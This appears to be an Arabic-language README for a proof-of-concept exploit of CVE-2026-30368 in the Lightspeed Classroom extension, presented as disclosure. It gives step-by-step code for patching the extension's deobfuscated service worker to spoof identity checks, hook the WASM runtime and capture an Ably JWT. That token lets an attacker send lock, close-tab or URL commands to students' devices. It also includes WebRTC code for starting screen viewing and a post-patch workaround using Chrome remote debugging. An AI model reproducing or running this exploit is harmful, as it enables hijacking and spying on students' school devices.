
إثبات مفهوم لاستغلال CVE-2026-30368، يوضح تجاوز المصادقة في Lightspeed Classroom للتحكم في أجهزة الطلاب عبر قناة Ably.
[!IMPORTANT]
تم تصحيح هذه الثغرة وتتطلب الآن بيانات اعتماد، استخدم الحل البديل لتنفيذ إجراءات على نفسك.
تسمح CVE-2026-30368 للمهاجم بالتحكم في أجهزة الطلاب عبر ثغرة ضعف في المصادقة في إدارة الفصول الدراسية Lightspeed Classroom. يقوم إثبات المفهوم (poc.js) بتنفيذ خدمة العامل (service worker) من إضافة LS Classroom في السياق العام. يقوم العامل أيضًا بتشغيل classroom.wasm لبعض الوظائف. يقوم wasm-loader.js بتحميل العامل واستخراج رمز JWT المولّد بواسطة classroom.wasm. بمجرد استخراجه، يقوم بإنهاء العامل، ثم يرسل الرمز إلى واجهات برمجة تطبيقات Lightspeed للحصول على رمز يُستخدم للاتصال بقناة Ably الخاصة بالهدف. من هناك، يمكن للمهاجم إرسال أمر إلى جهاز الطالب. قائمة الأوامر والكثير من المعلومات الإضافية موجودة في التقرير الكامل هنا.
لا يمكن أن تكون هذه الملفات في هذا المستودع للأسباب التالية:
لتجنب المشكلات، أوصي باستخدام الإصدار 5.1.2.1763770643. إذا كنت بحاجة إلى مساعدة في تكييف الإصدارات الأحدث، فأنت مسؤول عن ذلك بنفسك.
يمكنك الحصول على ملفات worker.js و classroom.wasm من الكود المصدري لإضافة Lightspeed. يمكن الحصول على ذلك عن طريق تسجيل الدخول بحساب مدرستك على Chrome على جهاز شخصي ثم استخراج كود الإضافة من مجلد الإضافات الموجود في دليل ملف تعريف Chrome الخاص بك. يمكنك أيضًا تنزيل ملف crx يدويًا من خلال رابط التحديث.
الطريقة الأسهل لهذا الاستغلال هي أولاً الحصول على classroom.wasm من الكود المصدري للإضافة الخاصة بك، ثم لصقه في نفس الدليل الذي يوجد به wasm-only.js، وتشغيل:
$ node wasm-only.js
أدخل بريدًا إلكترونيًا ومعرف عميل عند الطلب. سيقوم هذا بالاتصال بقناة ably. انتقل إلى السطر 815 وقم بإلغاء تعليق ما تريد إرساله من الرسائل. الفضل: ktibow على discord
بمجرد حصولك على الملفات، أضفها ببساطة إلى دليل المستودع المستنسخ. ستحتاج إلى الدخول إلى wasm-loader.js إلى دالة getManifest() ولصق بيان الإضافة الخاص بك هناك. ستحتاج أيضًا إلى إضافة معرف الإضافة إلى wasm-loader.js في الأعلى.
أنشئ نسخة من worker.js باسم ملف تفضله. ستحتاجها لاحقًا. ستحتاج إلى تشغيل worker.js من خلال webcrack لإزالة التعتيم وإزالة التصغير لإجراء التعديلات اللازمة. عند القيام بذلك، تأكد من تحديد خياري "Deobfuscate" و "Unminify" فقط. قبل لصق النتيجة مرة أخرى في محررك، يُنصح بإيقاف تشغيل جميع خوادم LSP لأنها ستزيل متغيرات عشوائية وتكسر العامل في المراحل اللاحقة (أنظر إليك vtsls...)
نظرًا لأن خدمة العامل سيتم تشغيلها على node.js (تأكد من تثبيته)، فستحتاج إلى بعض التصحيحات ليعمل بشكل صحيح. يجب أيضًا إضافة منطق استخراج JWT. أضف الدالتين التاليتين في أعلى worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
سيتم استخدام هذه الدوال عندما نقوم بتعديل وقت تشغيل wasm go لاعتراض وتعديل القيم المستخدمة بواسطة LS classroom wasm.
تأكد من استبدال YOUR_EXTENSION_ID بمعرف الإضافة الخاص بك و worker_copy.js باسم ملف النسخة من worker.js الأصلي الذي أنشأته سابقًا.
بعد ذلك أضف هاتين الدالتين داخل دالة السهم الرئيسية (بعد (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
بعد ذلك تحتاج إلى ترميز IsClassroomActive ليكون true حتى تتمكن من تنفيذ هذا خارج شبكات الحرم الجامعي. ببساطة قم بتغيير الدالة لتعيد true دائمًا:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
ثم ابحث عن syscall/js.valueCall للعثور على دالة valueCall التي تحتاج إلى تعديل. هذه هي التي تُعلم wasm بقيمة JS. القيمتان اللتان يتم اعتراضهما وتغييرهما بتعديل هذه الدالة هما مسار worker.js (يتم تغييره إلى نسخة العامل الخاصة بك حتى ينجح فحص التجزئة) وقيمة chrome.identity.getProfileUserInfo.toString يتم تغييرها لتقول native code حتى يعتقد WASM أنه يمكن الوثوق بها بينما في الواقع تم تعديلها في أعلى الملف. للقيام بذلك، تحتاج إلى استخدام دالتي valueCallBefore و valueCallAfter اللتين عرفناهما في الأعلى. قم بتعديل دالة valueCall كما يلي (ستختلف أسماء المتغيرات، لكن البنية هي نفسها):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
كدت تنتهي. أخيرًا، تحتاج إلى إضافة كود لالتقاط JWT. ابحث عن echoMessages: false وستجد المتغير الذي يحتوي على قائمة الترويسات المرسلة إلى Ably. أسفل ذلك مباشرة، أضف هذا السطر (من المحتمل جدًا أن أسماء المتغيرات لن تكون دقيقة، يمكنك العثور على نفس السطر الذي يصل إلى ablyJwt في authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
يقوم هذا بتعيين JWT إلى متغير في النطاق العام بحيث يمكن لـ wasm-loader.js (الـ "harness" الذي يشغل خدمة العامل) الوصول إليه. هذا يختتم تعديل العامل. تأكد من أن جميع خوادم LSP الخاصة بك لا تزال متوقفة. إذا عادت للعمل، فقد تواجه مشكلات مع متغيرات غير معرّفة لاحقًا.
انتقل إلى ملف poc.js. في الأعلى، أضف البريد الإلكتروني ومعرف العميل لحساب ترغب في الاختبار عليه (يفضل أن يكون حسابك الخاص). استخدام معرف عميل غير معرفك سيرمي خطأ لأنك تحتاج إلى أن يكون لديك ملفات worker.js و classroom.wasm الصحيحة المطابقة لمعرف العميل ذلك.
مفتاح API الخاص بـ Ably في poc.js محذوف لأسباب قانونية لذا سيتعين عليك العثور عليه بنفسك. ابحث عنه في worker.js، يبدأ بـ G52. يمكن أيضًا العثور على معرف العميل الخاص بك في نفس المكان، ابحث عن CUSTOMER_ID: أو ابحث عن سلسلة بهذا التنسيق: XX-XXXX-XXXX. آخر 3 أرقام عادة ما تكون 000.
بخصوص وكيل المستخدم، يمكنك تعيينه إلى أي شيء تريده ولكن AWS قد يحظر بعض وكلاء المستخدم المرتبطين بأدوات الأتمتة.
بمجرد القيام بكل هذا، انتقل إلى الأسفل ويمكنك إضافة رسالة لإرسالها إلى قناة Ably الخاصة بالمستخدم باستخدام publish. يمكن أن تتضمن الرسائل lock و closeTab و url والمزيد.
القائمة الكاملة لرسائل Ably المستخدمة من قبل Lightspeed موجودة هنا.
نفذ الملف باستخدام node.js أو deno أو أي وقت تشغيل آخر. لا يعمل Bun.
$ node poc.js
لا تتردد في توسيع إثبات المفهوم وتحويله إلى CLI أو شيء مشابه.
إذا كان أي شخص يتساءل عن كيفية عمل وظيفة WebRTC (عرض الشاشات) في Lightspeed Classroom، يمكن القيام بذلك لكنه صعب. يجب أن تستوفي الشروط التالية ليعمل:
بافتراض أنك متصل بالفعل بقناة Ably الخاصة بالعميل، يمكن استخدام ما يلي لبدء اتصال WebRTC:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
الأمر متروك لك لمعرفة كيفية عرض الفيديو (أي شخص لديه معرفة معتدلة بـ HTML وقليل من البحث/الذكاء الاصطناعي يجب أن يكون قادرًا على القيام بذلك) لكن الكود أعلاه يؤسس الاتصال. لسوء الحظ سيكون البث بمعدل 1 إطار في الثانية لكن هذا قيد من LS classroom نفسه.
مرة أخرى لا يمكنني ضمان أن هذا سيعمل طوال الوقت لأنه صعب جدًا، لكن أخبرني إذا جعلته يعمل باستمرار!
شغّل pnpm i، ضع classroom.wasm في جذر المستودع، ثم شغّل pnpm dev لبدء عارض الويب.
[!IMPORTANT]
هذا القسم يتطلب بيانات اعتماد وجهازًا شخصيًا
في 23 أبريل، بدأت Lightspeed في طرح إصلاح لهذه الثغرة CVE. أضافت إضافة جديدة، Lightspeed Identity Agent (الاسم الرمزي الداخلي: LS One)، والتي توفر لـ Classroom رمز Google OAuth للتحقق من هويتك. يسمح الحل البديل بتنفيذ إجراءات على نفسك، أو على أي شخص آخر لديك بيانات اعتماد له. تم اختبار هذا فقط على Linux.
أولاً، قم بتثبيت Google Chrome المستقر وسجل الدخول بحساب مدرسي. تأكد من تثبيت إضافة Lightspeed Identity Agent. أغلق Chrome. بعد ذلك، انسخ دليل بيانات مستخدم Chrome إلى موقع مؤقت. على سبيل المثال، على Linux: cp -r ~/.config/google-chrome /tmp/chromedata. ضع ملف classroom.wasm الخاص بك في دليل المستودع. املأ القيم في أعلى oauth-poc.js. افتح طرفية (ستستخدمها لاحقًا لكن افتحها الآن). أعد تشغيل Chrome مع علامات سطر الأوامر التالية:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
سيمكن هذا التصحيح عن بُعد. انتظر 15 ثانية حتى تتم تهيئة خدمة العامل. نفذ oauth-poc.js:
$ node oauth-poc.js
إذا تلقيت رسالة تفيد بعدم العثور على إضافة LS One، فإما أنك لم تنتظر 15 ثانية بعد تشغيل Chrome، أو انتظرت طويلاً وانتقلت خدمة العامل إلى وضع السكون، أو لم تملأ معرف الإضافة في أعلى oauth-poc.js.
إذا تلقيت خطأ 403 أثناء الاتصال بـ Ably، تحقق من أن لديك classroom.wasm الصحيح، والبريد الإلكتروني الصحيح، وحاول الانتقال إلى عنوان IP مدرسي.
إذا لم تتلق أي أخطاء، تهانينا! ببساطة اترك السكربت يعمل وستكون محصنًا من القفل من قبل المعلمين، وإغلاق التبويبات، وعرض الشاشة (تجريبي).
من فضلك لا تستخدم إثبات المفهوم هذا لأغراض تخريبية. أنا لست مسؤولاً عن أي إجراءات خبيثة قد ترتكبها. كما تعلم، كانت Lightspeed غافلة عن هذا لمدة 3 أشهر ولا أتوقع حقًا إصلاحًا لمدة أسبوع آخر (أو أكثر؟...). آمل أن يجعلهم هذا يفهمون الخطورة الحقيقية للموقف ويصلحونه بشكل أسرع. أخيرًا، إذا كنت من موظفي تكنولوجيا المعلومات في مدرسة، أرسل هذا إلى رؤسائك 🙂
♥️، truekas 4.22.2026